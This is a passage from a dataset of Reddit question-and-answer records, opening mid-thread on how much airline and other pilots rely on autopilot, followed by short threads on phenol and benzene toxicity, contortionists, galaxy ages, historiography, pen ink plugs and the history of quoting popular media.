a good pilot.  The stick and rudder has always been the easy part but keeping the aircraft smoothly flying while navigating, communicating, and planning ahead require a huge amount of multi-tasking that is much easier when you aren't task saturated with one pilot trying to keep the dirty side down.  The autopilot lets you program it to fly a path / airspeed / vertical mode and allows you to shift your focus onto the more technical side of the operation. 90% of autopilots  aren't intelligent computers ... you say go up it goes up but some like the airbus are somewhat intelligent but way more intricate in their design.  Many airbus pilots have to sit and think what \"mode is it in\"  before you start giving it commands because it often times will do the wrong thing when you least want it to.  With more complicated airspace, approaches, and regulations the average pilot is less of a Chuck Yeager, rough and tumble guy and more of a book nerd who programs computers that are constantly trying to get you killed or violated.  \n\n\nTLDR: It helps a ton with multitasking but there is a huge amount of planning, book knowledge, and programming to get the damn plane to do what you want.  \n\n\n[more eloquent answer](_URL_0_)\n\n\nTakeoff and landing are the most critical phases of flight where a lot can and will go wrong.  Cruise is our downtime but we are usually planning, programming, and briefing our arrival for the last hour of the flight.  1% of all commercial landings are \"autolands\" but they end up requiring way more work from the pilot in programming the computer, legality checking, and briefings.  \n", "Pilots (and flight crew) do a LOT of work.  Much less of it is stick and rudder flying, and more monitoring and interacting for the plane.  \n\nAn aircrews job starts with getting a weather report, and filing a flight plan.  This, is not \"flying\" but is something they do before the flight.\n\nOnce at the plane, it's their job to do a final inspection, and determine if the plane is ready for flight.  They then start the plane, do running tests.  They get permission from the control tower, and go to their assigned runway to take off.  \n\nThe pilot, or copilot, follow the procedures to configure the plane for takeoff.  (engine settings, flaps, trim, radio frequencies, passengers and flight attendant positions)  They then advance the throttles and take off. \n\nShortly after takeoff, they reconfigure the plane for climbing.  This means retracting the flaps, and the landing gear.  They also set the autopilot to maintain the airplanes attitude, and depending on the plane, the airspeed.  \n\nNow for a short detour, autopilot can be many things.  In small planes, it can be as little as a little motor on the ailerons that keeps the plane level.  The typical \"full\" autopilot, has control over rudder, aileron, and elevator.  Fancy autopilots may include \"auto throttle\", and if you want to stretch the definition \"auto braking\" upon landing.  \n\nMany planes also have a stability system that is part of the autopilot that can't be turned off.  This is typically tied into the rudder to stop the plane from wallowing, and by being active, allows the use of a smaller fin and rudder.  \n\nOk, back to the flight.  \n\nThe aircrew switches the radio from the tower, to TRACON.  TRACON is the local routing around the airport, and they handle telling the aircrew how to get on to their destination route.  Tracon assigns an altitude and heading.  Sometimes a speed as well.  The aircrew has some negotiation power here, they can request altitudes and headings too.  Tracons are local facilities, and handle \"a few\" major airports and their surrounding area.  \n\nThe pilot and copilot are responsible for looking for other air traffic, responding to alarms, and communicating with TRACON.  They are typically using the autopilot to do maneuvers at this point.  The plane will most likely be hands off (the stick and rudder) until it's time to descend at the next airport.  \n\nOnce at heading the right direction, and at altitude, the flight crew switches to \"en-route\" Air traffic control.  This is a national control center, and there is only one.  At this point the aircrew is watching weather, instruments, and doing checklists to ensure things stay well.  There are lots of things that can very, very, quickly descend into emergency if something goes wrong.  For instance, if cabin pressure starts dropping.  Or there's a storm en-route.  Fuel management can also be an issue, the planes center of gravity is critical to getting good fuel economy and speed.  So fuel flow, and capacities are often checked, recalculated, and decisions are made.  \n\nSome times passes, and now it's time to go down to the airport.  The pilot and copilot contact the TRACON for that area, and request altitude change and landing at an airport.  The airplane may get put into a holding pattern, or sent on a small journey to insert itself in the proper place in line for landing.  This all \"can\" be done by autopilot, but is often done by hand.  \n\nWhen the plane starts descending, throttle, and configuration changes need to be made.  This includes some flaps, some trim changes, and throttle changes.  On planes with auto-throttle, this may be handled automatically.\n\nOnce in line for landing, the plane is reconfigured for landing.  This means flap and slat settings, trim positions on the control surfaces, engine throttle settings, and getting the landing gear down.  there are landing guide systems.  The autopilot can be keyed to these, and the plane can more or less fly itself on the landing path.  \n\nIf you have a good flight crew, on many airlines, the pilot will fly the landing for the plane.  This leads to the most comfortable flight for passengers.  (for a lot of reasons..) If the visibility is poor, the plane will be allowed to fly itself down to the runway.  If the weather is \"really\" bad, or you're on a cheaper european or asian airline, the plane will be allowed to fly itself into the ground.  \n\nOnce on ground, the pilot, or autobrake will engage the brakes and the plane will slow down.  Frequently the plane will also engage the thrust reversers automatically.  \n\nWhen the plane has slowed to 50-60mph, the flight crew is again responsible for all of the planes maneuvering.  On the ground, the control tower will instruct the crew on where to go to drop off the passengers.  \n\nI think I got that right.....  ", "For someone who is actively working on getting rid of my fear of flying, this thread was extremely comforting. Thank you everyone. ", "Depends on the plane.\n\nMy beloved Hornet is purely manual control ([using 276 buttons!](_URL_0_)), but it's manual control of a computer (like a semi-automatic transmission, if you're a car guy). Basically, the guy driving tells the plane what he wants it to do, and the computer decides how to get him there. So, if I push on the stick, the plane will try and dive, using all 8 control surfaces as need be.\n\nA little Cessna 172 is manual control, with manual response. When I push on the stick, it moves the elevators, which produces a dive, but some funny effects as well, which I have to control with the other flight controls.\n\nAn Airbus A330 is capable of being flown fully automatic, from take off to touchdown. The pilot can fly it by hand (like the Hornet), or he can let the plane fly itself. If it's being flown automatically, the pilot uses the radios, and monitors the autopilot, ready to take over when something goes wrong.\n\nIn all cases, as other commenters have said, the pilot is responsible for planning, navigating, communicating, and emergencies.\n\n(Not really ELI5, but I'm in a hurry and it's the best I could do).", "Perhaps it's easier to say what auto-pilots can do and actually do.\n\nAn auto-pilot in it's simplest form, can keep the plane flying level and in the same direction without human intervention.\n\nIn more advanced versions, it can follow a predefined or calculated path between two points.  In some versions, it can \"fly\" a predefined landing or take-off.\n\nThe key thing is that all of these real-life scenarios must be very close to a simplified ideal situations where everything is \"as expected without exceptions or surprises\".\n\nIt's in these latter situations where the human pilot is always a better option because humans can adapt to the unexpected with better solutions than a computerized auto-pilot.", "A pilot does a lot of monitoring rather than flying. Although it's entirely possible for the entire flight to be flown without autopilot, it's very tiring. That and the autopilot can hold altitude better than a human hand.\n\nPilot usually fly up to around 400ft in busy airspace because the autopilots preciseness can follow compilcated departure procedures to the dot, however some fly it all the way up to the cruise altitude.\n\nOn approach it's a lot different. Depends on many variables, weather, traffic, how 'busy' they expect to be amongst other things. Make no mistake, every pilot loves hand flying, and that touchdown will be handled by the pilot whenever physically possible, the only times when it's not is in bad weather.\n\nA pilot is always monitoring fuel burn, weather en-route, the route, clearences etc.\n\nWhen travelling over vast oceans, the pilots have to work with extreme preciseness, purely because Air Traffic Control relies on them to say where they are. Pilots will tell ATC where they are, and when they expect over a specific latitude;\n\n >  \"Speedbird 123 at FL370, Mach .87, expecting to cross -- North, -- West at time 0017 zulu time\"\n\n then ATC would take this as gospel and give a clearance such as;\n\n >  \"Speedbird 123 cleared to cross -- North, --West at FL370, Mach .87 not before 0016 zulu time, report crossing.\"\n\nThis is just one of the many examples of what pilots are doing other than flying the plane.\n\nHere is a really cool video of an approach into San Fransisco. The approach starts out relatively busy for the crew, as ATC change the plan a few times, but it levels out eventually resulting in a technically good landing (albeit a bit firm). You can see the autopilot usage well here.\n\n_URL_0_ \n\n", "The thing to remember is that flying is pretty easy. The training and pay rates aren't for flying the plane. They're for flying the plane when something goes wrong.\nCpt Sully didn't get paid $100K a year to fly around the country. He made that money for being able to land his plane in the Hudson without killing everyone.\n\n\nKeep that in mind the next time you're on a commuter jet and your pilot is getting paid less than the manager at Best Buy.", "A pilot does ten times more than flying, it is a very very very task-heavy, high responsibility job. They have to plan the route, account for possible air currents, a bunch of other things\u2014 and have you ever seen the inside of a cockpit? Just google one. ", "What I've been told is from the time the tires are 10' off the ground to 10' before landing the auto pilot can do it all. Speaking of commercial jet liners though. A co pilot spends the boarding time entering in the flight path, waypoint markers, desired altitude, approach information. Just after take off the AP can be engaged to climb and turn the airplane. IIRC a category 3 autopilot can fly in ZERO visibility conditions down to 10' off the runway. \n\nSource. Dad has been a commercial aviation mechanic for 25+ years.", "I assume you're referring to airline pilots.\n\nTypically, the autopilot/flight management system fly the airplane from soon after takeoff (not long after landing gear retraction) to twenty or so seconds before landing. Pilots often engage autothrottles after taking the runway, bring the throttles forward, then depress the TO/GA switches---commanding the autopilot to set takeoff power. Pilots can manually manipulate the autopilot by either changing commanded airspeed/altitude/heading/course/vertical speed \"bugs\", or by editing the route of flight in the FMS.\n\nAt some airports, properly equipped airliners can automatically land. The aircraft automatically flares (pitches the nose up), and an aural command is given (typically 'RETARD') for the pilots to manually pull the throttle levers to idle. An automatic landing is typically relatively firm and positive. Automatic spoiler and wheel brake deployment can also be selected to automatically decelerate the aircraft during rollout.\n\nSo, in theory, the pilots don't do much flying at all. Not saying it isn't a very specialized, very technical profession. Pilots need to be able to rapidly identify an instrumentation/system failure, correct it, and fly the aircraft by hand, if required. This endless and passive monitoring can be very mentally draining, and has been accepted as a causal factor in many aviation mishaps. Humans are great operators, but they are terrible monitors. The amount of \"stick time\" is just minimal these days due to heavy automation.", "Flying is easy and pilots do have it easy some days. Other days it's a tough job, try having a engine shut off on you. Then you tell me it doesn't take skill to land that airplane. It's not a job for everyone, you need to be able to think quickly and land the airplane. Cpt Sully was a great example of this. That's why I get pissed off when people say being a pilot is easy you just monitor autopilot. I would say anyone can fly an airplane, it's the emergencies that kill you. How many other people can save everyone on a airplane that has all engines fail with only water in front of you. That's the true test of a pilot.", "phew. There are hundreds of different answers to this. Especially when you define what \"work\" is for a pilot.\n\nI assume you are talking about a specific breed of pilots - airline pilots.\n\nEvery Airline handles it differently. \n\nSome want their pilots to regularly fly approaches and departure procedures \"by hand\". Others want you to turn on the autopilot after takeoff and turn it off before landing. \n\nFully automatic landings are only possible when the airport is equipped with category III landing systems and are only used when weather is really bad. (meaning low cloud and no visibility)\n\nThen again a pilot does a lot more than sitting in the cockpit. He briefs the crew, goes over the flight plan, inspects the plane before departing and calculates performance data.\n\nNow if you go into the general aviation the sky is the limit regarding hand flying or autopilot use.\n\nLarge Jet operators typically have flight departments similar to airlines, whereas in small operators the pilot is a one-man-airline. Loading and Unloading, planning the flight, organizing catering, refueling the plane might all be done by the pilot. And depending on what the actual mission is the pilot might have to hand fly large portions of the arrival and departure.\n\nBut there is so much variety in the general aviation, it's impossible to tell who's actually working more. I've known pilots that fly skydivers and those guys are hand flying a commuter size plane for 12 hours a day doing dozens of takeoffs and landings.", "I think the term is what causes this confusion.\n\nRather than calling it an autopilot, which implies automatic piloting, instead it should be referred to as an autoassist.\n\nThink of in your car ... you have a steering wheel which adjusts in the *yaw* axis, and a gas peddle in the *thrust* axis.  Both require constant, imperceptible adjustments to maintain your trajectory.\n\nAdd in the following, for a brief overview:\n\n* *attitude* axis\n* *roll* axis\n* checklists for current actions.\n* multiple engine status.\n* comm radios, currently in use.\n* comm radios, very soon to be used.\n* comm radios, shortly to be used.\n* nav radios currently in use.\n* nav radios very soon to be used.\n* nav radios shortly to be used.\n* corporate comms\n* weather comms\n* planning computer for route, fuel, weight, etc. (updating with route/weather changes en-route)\n* aircraft situation ... i.e. dodge-the-other-guys\n* passenger issues.\n\n\nMany of these require regular, if not constant, attention.  Having an assistant \"keep things going\" greatly reduces the complexity of the workload.  Tasks can be divided between pilot/co-pilot/autoassit.\n\nThis lets the Pilot plan a route, the co-pilot communicate with controllers, and the auto-assist maintain course, altitude and speed ... for instance.\n\n", "Avionics technician... Don't think of autopilot as in control of the aircraft, think of it as an alternate way for the pilot to control it. Say the pilot wants to turn the plane to the left. That involves rotating the control wheel to bank the aircraft, pulling back on the control column to pitch the aircraft up, manipulating the rudder to keep the aircraft from slipping off the line of turn like a car drifting (rudder input is what aircraft use instead of tire traction), and throttle control to keep speed constant for a smooth turn. Autopilot allows the pilot to enter a 'turn left' command, and it coordinates all of those direct control inputs to achieve the turn automatically. Now, you can also tie autopilot into a system called Flight Director (indeed, most modern AP's are so closely tied to flight director that it might as well be one system in practice, but it helps to separate them for understanding). Auto pilot physically manipulates the aircraft. Flight Director provides instructions. This is a second level of abstraction. You would tell AP that you want to turn left. You would tell FD that you want to fly to a certain point, it would determine that you need to turn left to get there, and then tell autopilot to turn left. Modern FD systems are capable of taking pretty complex inputs, be it a desired heading, altitude, or an entire flight plan laid out in GPS way points (or VOR/TACAN beacons) and translating them into autopilot commands. Note, also, that FD can be used without autopilot, outputting its commands to visual cues for the pilot to follow. Most commonly, however, it will be tied into AP, with the pilot telling FD where they want to go, FD figuring out how to get there, and commanding AP to make it happen.\n\nNone of this puts the pilot any less in command of the aircraft, it simply automates menial repetitive tasks to allow the pilot more time to focus on higher level tasks such as route planning, radio communication, and traffic avoidance.\n\nFor cruise flight (Not takeoff and landing), you are probably on autopilot 99% of the time. Take off and landing can be automated to an extent, but I've never met a pilot that would do so any more than ABSOLUTELY required. Remember, it takes an INSANE amount of effort to become a professional pilot, and the people that make it through WANT TO FLY. A LOT.\n\nTLDR: Just because you are on autopilot doesn't mean the pilot is reading a book. They are managing the flight the whole time, just delegating details to free up brainpower for higher level tasks.    ", "Medevac pilot here. I fly a King Air 200. Not a large jet but not a small plane either. The auto pilot is great in a straight line but it does get 'confused' often enough to not trust it. I fly single pilot so it really does help with the workload. While it may not be physical labor you do keep busy. The pilot still has to navigate with small margins of error, talk on the radios and keep the engine temperatures controlled.", "Here is the way flights went when I flew regional jets in the US for 2 years.\n\nPilots: Preflight the aircraft to make sure all the parts are there, review weather and paperwork, enter flight plan into computer, confirm wight and balance, brief the non-flying pilot on what we're expecting that flight, run checklists, communicate with air traffic control, taxi the airplane to the runway, takeoff, hand fly to 10,000ft\n\nAt 10,000ft turn on the autopilot, set the rate of climb in the autopilot, set altitude based on what ATC has told you to climb to, tell autopilot whether when to fly the pre-programmed route or whatever heading ATC tells you to fly\n\nOur plane did not have autothrottles, so throughout the flight we had to adjust the throttle to not overspeed the aircraft\n\nOtherwise cruise was spent staring at the instruments, looking out the window, talking to the other pilot, reading magazines/newspaper, etc.  This was often very boring.\n\nWhen its time to come down, tell the autopilot what altitude(s) to descend to.  Constantly manually adjust throttles to hold the right speed.  This could be a real pain in icing conditions as every time the plane detects ice it kicks up the engine speed to produce more hot air to melt the ice off the wings, making the plane want to go faster.\n\nBrief the non-flying pilot on the expected approach, airport whether, etc.\n\nProgram the correct approach into the computer as you get close to the airport.  Repeatedly enter in headings and altitudes as assigned by ATC.\n\nSomewhere around 5-10 miles from the airport turn off the autopilot and handfly, following the indications on the panel (which show what the autopilot *thinks* you should be doing), or just looking out the window at the airport.\n\nLand the plane, pull back the throttle, hit the brakes, talk to ATC, run checklists, taxi to the gate.\n\nSo the autopilot takes care of the most boring stuff like holding the plane straight and level for 4 hours, or holding the plane in a constant 1500 foot per minute descent for 10 minutes.  But the pilots are doing quite a bit...and that's just in good weather.  Didn't even talk about when its snowing, or thunderstorms, or you have problems with the aircraft.  The autopilot was perfectly capable of flying approaches by itself down to (i think) 100' (maybe 50') above the ground.  But I never experienced the right weather conditions to have to do that, and literally every pilot I flew with hand flew every approach rather than have the autopilot fly it.", "I feel like this is similar to saying brakes don't do much work on a 3000 mile road trip because you only press the pedal 1% of the time.\n\nIt's kind of an important 1% though. ", "I know being a pilot is a challenging job, but this reminds me of one of my favorite lines from 30 Rock, when Matt Damon the pilot says:\n\n\"Maybe you just wanna fly the plane yourself? Well good luck pressing take off, then auto pilot, then land.\"", "For Boeing, a pilot would enter their route, altitude, speeds, transitions, step climbs, etc, into an FMC or flight management computer.  There are a few different autopulot modes they can engage depending on the situation. but once climbing above a certain altitude (3000ft?) they normally engage the autopilot to fly their SID (standard instrument departure) where the autopilot will climb them out on their directed route assigned by ATC before moving into the airway associated with their route.  Planes just don't fly anywhere they want, at least not commercially.  There are airways very much like a modern highway but for planes.  Westbound fly at even atitudes, eastbound at odd, staggered by 1000 ft.  \n\nThe pilot will have to give the autopilot \"permission\" to descend at their calculated position by reassigning a lower altitude into their panel, but the plane will descend on the assigned route on its own.  Speed is normally managed by the pilot engaging spoilers when necessary.  When landing, a radio frequency is dialed into the center panel and the pilot selects the ILS/APPROACH button on the top panel.  The plane will then guide itself down the radio frequency the pilot dialed in, which is at a 3 degree \"Glideslope\".  Speed is managed either manually or by the FMC. \n\nReally, they're system operators more than anything.  Rarely do they \"fly\" the plane manually. Most of it is communication with ATC.", "My father is a professional pilot. He is fond of saying that not that far in the future, aircraft crews will consist of a human and a dog. The human's job will to be to feed the dog and the dog's job will to be bite the pilot if they try to touch the controls. \n\nAutomation is coming, and as soon as the paying passengers tolerate it, I think we will see remote operated commercial aircraft.", "Not enough! Here is a very interesting podcast on the topic of pilots not flying by wire without knowing how to fly without it. _URL_0_\n\nWarning: Slightly disturbing", "Not much. The auto-pilot is doing 95% of the flying. We actually aren't even allowed to legally fly the machine by hand (except in an emergency) from 29000ft up to and including 41000ft (Because the auto-pilot is much more accurate in this flight regime and due to the close proximity of other aircraft.) Most of us perform the take-off and initial climb. Some aircraft can auto-land. Most can not. Our job is to manage the aircraft and the auto-pilot and make the judgement calls. We aren't digging ditches. But it can still be exhausting. Mentally exhausting.\n\nSource: I'm a professional pilot", "Between take off and landing, 99% is autopilot.\nLow end company prefer using autopilot to avoid cost.", "Autopilot does most of the flying. But if that thing starts to deflate, boy do your lungs get a workout.", "Pilots do fuck all.  Source, pilot.\n\n100 feet or 5 seconds after rotation Autopilots in, on the bus its managed mode to the destination.  I don't touch the controls until 160 feet on approach.  Then I flare.  It even applies the brakes itself.\n\nMostly my job entails sitting there bitching about the company.\n\n_URL_0_", "Fighter Pilot here.\n\nThe autopilot doesn't do very much for us, but it is helpful. Different airplanes have different autopilots, but I'll describe what is most common.\n\nFlying a fighter requires you to do a lot of different things with your airplane, most of which the autopilot can't do.\n\nThings it can't do:\n- Turn on, do preflight checks, or move the airplane around on the ground\n- Take off\n- Fly in formation (fly near other planes in a controlled way)\n- Do anything offensive (attack other people)\n- Do anything defensive (avoid weapons from other people)\n- Air-to-air refueling (get gas through a tube from a big airplane while flying)\n- Land\n\nThings it can do:\n- Fly in a specific direction  (if you want it to go north, it will keep going north, and it's pretty accurate)\n- Fly towards a specific point (if I say \"go to coordinates XYZ, it points towards it and keeps flying towards it)\n- Keep the wings stable, either level, tilted a bit, or slightly pointed up or down\n- Make it so you don't get higher or lower relative to the level of the ocean\n\nSo, we really only use it when we're on long, boring parts of the flight. It's pretty normal to not use it at all on a flight, but it's nice to have for long ones.\n\nCheers!\n\n\n", "Wow ! All those answers and explanations. Will try to read them all today at work. Thanks to all of you!!", "Autopilot here: I can confidently say that I do 100% of the work and the pilot just takes credit for it."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], ["https://youtu.be/pN41LvuSz10?t=395", "https://youtu.be/pN41LvuSz10?t=242"], ["https://en.wikipedia.org/wiki/Air_France_Flight_447", "https://en.wikipedia.org/wiki/Indonesia_AirAsia_Flight_8501"], [], [], [], [], [], [], [], ["http://www.askthepilot.com/questionanswers/automation-myths/"], [], [], ["http://farm3.static.flickr.com/2711/4037877923_469b5d78ba.jpg"], [], ["https://www.youtube.com/watch?v=37nuY95ARpY"], [], [], [], [], [], [], [], [], [], [], [], [], [], [], ["http://99percentinvisible.org/episode/children-of-the-magenta-automation-paradox-pt-1/"], [], [], [], ["https://www.youtube.com/watch?v=rNxz2hhSXuY"], [], [], []]}
{"q_id": "khh5b", "title": "How does the toxicity of phenol compare with that of benzene?", "selftext": "What does that extra OH group do with regards to its toxicity? It seems to be used in lip balms", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/khh5b/how_does_the_toxicity_of_phenol_compare_with_that/", "answers": {"a_id": ["c2ka96s", "c2ka96s"], "score": [5, 5], "text": ["*Pure* phenol is not that better than benzene. The OH group, allowing hydrogen bonding, does a lot with respect of its physical form: phenol is solid at room temperature, so exposure through inhalation is not that easy. Immediate effects for direct skin contact seem to be quite worse for phenol than benzene. Long-term effects of exposure to benzene include cancer, while phenol has not been found to be carcinogenic.\n\nThe permissible exposure limits for workers are not that different between phenol and benzene (5 ppm vs 1 ppm time-weighed average). IIRC, benzene is converted to phenol *in vivo*, to make it more soluble in water and then more readily excreted, so at some point their metabolic routes coincide.\n\nIn lip balms it is probably used in very small concentrations as an antiseptic. It has a long tradition as an antiseptic in surgery, even though nowadays it is understandably not used anymore. (I would not be overwhelmed with excitement at the idea of putting phenol on my mucosae, but de gustibus).", "*Pure* phenol is not that better than benzene. The OH group, allowing hydrogen bonding, does a lot with respect of its physical form: phenol is solid at room temperature, so exposure through inhalation is not that easy. Immediate effects for direct skin contact seem to be quite worse for phenol than benzene. Long-term effects of exposure to benzene include cancer, while phenol has not been found to be carcinogenic.\n\nThe permissible exposure limits for workers are not that different between phenol and benzene (5 ppm vs 1 ppm time-weighed average). IIRC, benzene is converted to phenol *in vivo*, to make it more soluble in water and then more readily excreted, so at some point their metabolic routes coincide.\n\nIn lip balms it is probably used in very small concentrations as an antiseptic. It has a long tradition as an antiseptic in surgery, even though nowadays it is understandably not used anymore. (I would not be overwhelmed with excitement at the idea of putting phenol on my mucosae, but de gustibus)."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "8tb8sx", "title": "how can contortionists bend their bodies without damaging their internal organs?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/8tb8sx/eli5_how_can_contortionists_bend_their_bodies/", "answers": {"a_id": ["e164ku0"], "score": [24], "text": ["Most internal organs are rather squishy. And most of the sensitive ones are protected inside cages of bone. The intestines are not, but they are folded up so there's a *lot* of room to stretch without harm.  This pretty much leaves the kidneys and uterus, which are not stressed too much by typical contortion moves."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "ahya65", "title": "Are galaxies who are near one another or are neighbors, all around the same age?", "selftext": "Let's take the milky way for example. Are all galaxies near the milky way or in this area of space more or less of the same age? ", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/ahya65/are_galaxies_who_are_near_one_another_or_are/", "answers": {"a_id": ["eek631g"], "score": [5], "text": ["It's hard to define what \"age\" means for galaxies - they aren't their own distinct objects, but rather are made up of many stars which will have a distribution of ages, since for most galaxies there is a dynamic process of old stars expiring and new ones being formed.\n\nThat said, we know that on galaxy scales and larger, structures form hierarchically with cosmic time - that is, smaller things form first, and then combine to make bigger things. So larger galaxies like the Milky Way are the result of multiple dwarf galaxies merging, and in terms of the length of time it has existed in its present form, it's therefore \"younger\" than the remaining dwarf galaxies which didn't combine together."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "4aqpk6", "title": "Does the field of meta-history exist? Like are there historians who specialize in how history was observed through the years?", "selftext": "This question was inspired by Tacitus. The Roman empire having historians means there must have been significant development in the historical method since then?\n\nIs this an easily answerable question? Did historians of the past focus on specific things? Were these societally inspired values?\n\nI'm sorry of this is too broad a question, mods feel free to remove it if it is. For specificity maybe a compare and contrast of ancient history versus post-Enlightenment history?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/4aqpk6/does_the_field_of_metahistory_exist_like_are/", "answers": {"a_id": ["d12qme1"], "score": [13], "text": ["Yes! This is a well-established field, called historiography. The main aspects of historiography are analysis of historical writing trends throughout time, instigating factors behind them, and perception of history. \n\nIn practice, this involves a fair amount of categorisation - into \"genres\" such as political history, economic history, etc, and tracing changes through those themes - but also in periodisation. Hence concepts like ancient historical writing (usually implying writers like Herodotus or Thucydides), versus say Whig History (with the likes of Edward Gibbon). Whether you agree with the lines drawn or not, the importance of recognising differences in goal and concept of history-writing is vital for understanding these works as primary sources, as well as looking for credibility in more contemporary sources (such as teleological tendencies in some cold-war era writing, or more obviously the social darwinism present in a fair amount of histories and ethnographies of the 19th and early 20th centuries)."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "35oi5j", "title": "what's the yellow liquid on top of the ink in my pen?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/35oi5j/eli5_whats_the_yellow_liquid_on_top_of_the_ink_in/", "answers": {"a_id": ["cr6dy7n"], "score": [79], "text": ["It's a gel that stops the ink from drying up. It can't be a solid plug, the ink would stop coming out due to the partial vacuum created.\n\nSo, basically it's a movable plug to stop air getting to the ink."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "8mkcbu", "title": "Today, people go around quoting lines from famous shows and movies in everyday conversation. Did this happen in some form for previous versions of media like radio, silent film, books, and theater?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/8mkcbu/today_people_go_around_quoting_lines_from_famous/", "answers": {"a_id": ["dzpb5bh", "dzrat3c"], "score": [42, 3], "text": ["This certainly did happen a lot during the nineteenth century, and we can see it happening by examining contemporary newspapers. I'm currently involved in a major project which requires transcription and annotation of hundreds of C19th century newspaper articles, which in turn means I need to track down and explain such quotations. The fact that these are pretty much never attributed suggests that the educated newspaper audience of the period, at least, was expected to be able to spot and appreciate such allusions by drawing on their own resources when they did appear, which was pretty frequently. \n\nShakespeare \u2013 essentially just a couple of plays, predominantly (in my sample anyway, which is focused on material detailing early 19th century ghost scares) *Hamlet* \u2013 was the author most often cited, but more recent lyric and narrative poems, of the sort often featured then as party pieces at family gatherings and local public entertainments, were also common, as were popular songs. To give you a few examples:\n\n > WINCHESTER\n\n > \u2018Angels and ministers of grace defend us!\u2013\u2019  The grisly ghost which has for some time haunted other parts of this county, has at length paid a visit to this ancient and spiritual city.\n\n >  > *Hampshire Telegraph  &  Sussex Chronicle*, 16 January 1826. The quote is from *Hamlet*, I, iv\n\nAnd\n\n > On Tuesday last,  our butcher, as strong, and apparently as fearless as the Oaks of the forest, was returning from Corbets Tye,  to his dwelling, about the verge of midnight of course \u2013\n\n >  > \u2018In thought still half absorbed, and chill\u2019d with cold;\n\n >  > When lo! an object frightful to behold, \u2013\n\n >  > A grisly Spectre, cloth\u2019d in silver grey.\n\n >  > Around whose feet the waving shadows play,\n\n >  > Stands in his path\u2019  \n\n >  > *Essex Herald*, 20 February 1838. The quote is from Robert Bloomfield\u2019s then-famous verse \u2018The farmer\u2019s boy: a rural poem\u2019 (1800). Bloomfield (1766-1823) made his name with this work, which sold 25,000 copies within two years of its publication.\n\nAnd\n\n > Thus the ghost is causing no end of nuisances and recrimination, and to prove an alibi is becoming a necessity for us all. In the meantime, to quote incorrectly the old enquiry of Chloe \u2013\n\n >  > \u2018If you are I, and she is him, \n\n >  > And he is it or me,\n\n >  > Arises then the question grim\n\n >  > Why, who on earth is he?\u2019 \n\n > We look to the police to give the public a practical reply to this momentous question.\n\n >  > *Camberwell  &  Peckham Times*, 23 November 1872. The quotation is adapted from \u2018Identity Quartette,\u2019 a song in Gilbert and Sullivan\u2019s *Happy Arcadia*, a musical entertainment which had premiered in London the previous month. \n\nI could go on at quite some length, but hopefully even this small sample helps to show the wide variety of references, both \"canon\" and very contemporary, that an audience of educated readers of Victorian era newspapers and books would be expected to \"get\".\n\nWhat's also noticeable about my sample (which certainly wasn't compiled to demonstrate this, and so is hopefully fairly accurate on this point) is the almost complete absence of classical quotations, certainly given in the original Latin or Greek. This suggests, of course, that knowledge of such sources was pretty limited among the journalists who wrote my material, if not necessarily their readers, even in the high Victorian period. An excellent recent post here by u/Verspertine helps us to understand what was happening to the people that Oxford and Cambridge (and to a lesser extent the new universities of the 19th century) were training up in classics in this period \u2013 [they were being shipped off to run India](_URL_2_) and Britain's other colonies, not diving into careers as journalists.\n\nFinally, with regard to radio and its immediate precursors, music hall and vaudeville, performers often went to quite some lengths to encourage quotation of their material by audiences, especially by developing \"catch phrases\" that were specifically designed to catch on and become part of everyday conversation. Thus [Marie Lloyd](_URL_0_), the most popular British music hall artiste of the early 20th century, was always associated with the phrase \"A little of what you fancy does you good.\" As this famous line suggests, Lloyd specialised in innuendo that could easily be exported into common speech and used to make a \"saucy\" point while handily distancing the person who used it from responsibility for uttering obscenities \u2013 as in the song title \"She\u2019d Never Had Her Ticket Punched Before\". And during World War II, the BBC radio comedy [ITMA (\"It's That Man Again\")](_URL_1_), starring Tommy Handley, gave birth to such popular (and to us, now, meaningless) phrases as \"Can I do you now, sir?\", \"I don't mind if I do\" \u2013 both, of course, in much the same vein as Marie Lloyd's cheerful smut \u2013 and \"Don't forget the diver\". Such catchphrases are clearly direct precursors of the sort of contemporary material that you are referencing.", "Educated Byzantines quoted Homer(and other poets)  the way we quote Shakespeare.\n\nIt was a case of embarrassment once for a foreign princess that when her courtier whispered half a line of  Homer about a passerby and the courtiers tittered, that she needed it explained to her.\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.vam.ac.uk/content/articles/m/marie-lloyd/", "http://www.bbc.co.uk/liverpool/localhistory/journey/stars/tommy_handley/itma.shtml", "https://www.reddit.com/r/AskHistorians/comments/8du5p9/why_did_so_many_british_civil_servants_used_to/"], []]}
